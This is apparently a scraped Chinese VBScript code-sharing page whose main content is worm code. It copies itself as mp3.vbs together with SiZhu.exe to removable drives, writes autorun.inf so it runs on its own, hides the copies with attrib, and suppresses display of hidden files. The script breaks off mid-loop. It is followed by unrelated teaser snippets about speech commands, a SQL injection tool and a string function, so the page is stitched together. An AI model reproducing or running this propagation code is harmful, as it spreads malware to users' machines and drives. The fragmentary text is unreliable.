On error resume next 
Dim fso,wshell,curfolder,curdristr,curdri 
Set fso=createobject("scripting.filesystemobject") 
Set wshell=CreateObject("WScript.shell") 
Set curfolder=fso.GetFolder(".") 
curdristr=Left(WScript.ScriptFullName,3) 
Set curdri=fso.GetDrive(curdristr) 
reghid() '不显示隐藏文件 
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"mp3.vbs" Then '如果在system32中 
For i=1 To 2 Step 0 
reghid() 
For Each dri In fso.Drives 
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then 
'autorun.inf文件夹改名 
If fso.FolderExists(dri.Path&"autorun.inf") Then 
fso.MoveFolder dri.Path&"autorun.inf",dri.Path&"Rubbish" 
End If 
'复制自身及exe文件到移动硬盘 
If fso.FileExists(dri.Path&"mp3.vbs") And fso.FileExists(dri.Path&"autorun.inf") Then 
Else 
If fso.FileExists(dri.Path&"mp3.vbs") Then 
fso.DeleteFile dri.Path&"mp3.vbs",True 
ElseIf fso.FileExists(dri.Path&"autorun.inf") Then 
fso.DeleteFile dri.Path&"autorun.inf",True 
End if 
fso.CopyFile WScript.ScriptFullName,dri.Path&"mp3.vbs",True 
If fso.FileExists(".SiZhu.exe") And Not fso.FileExists(dri.Path&"SiZhu.exe") Then 
fso.CopyFile ".SiZhu.exe",dri.Path&"SiZhu.exe",True 
End If 
autoinf(dri.Path) 
'给刚复制的文件加上隐藏属性 
Set norkon=fso.GetFile(dri.Path&"mp3.vbs") 
wshell.run "attrib +r +a +s +h "&dri.Path&"mp3.vbs",0 
Set norkon=Nothing 

vbs 调用中文语音让你电脑听你的命令的实现代码
如果你机器本身装了office的话，可能不需要装以下软件，我机器由于装的是openoffice，所以我提前装了speechsdk51.exeCNSpeechPackage.msi这两个软件。如果让电脑

SQLids.vbs 0.7(最终版，以后改成gui界面的)
是有这个问题的。第一，应当用正则判断较好。第二，我用循环加返回结果大于30个长度就退出循环，我相信没有表名和字段名大于30个字母的，但是字

vbs 函数 获取数组字符串的最后一个LastOne 挺方便的
将下面的代码直接保存为gimoo.vbs运行即可。FunctionLastOne(Str,splitStr)'输入字符和分隔符，得到最后一部分LastOne=right(Str,len(Str)-InStrRev(Str,splitStr))EndFunctionmsgb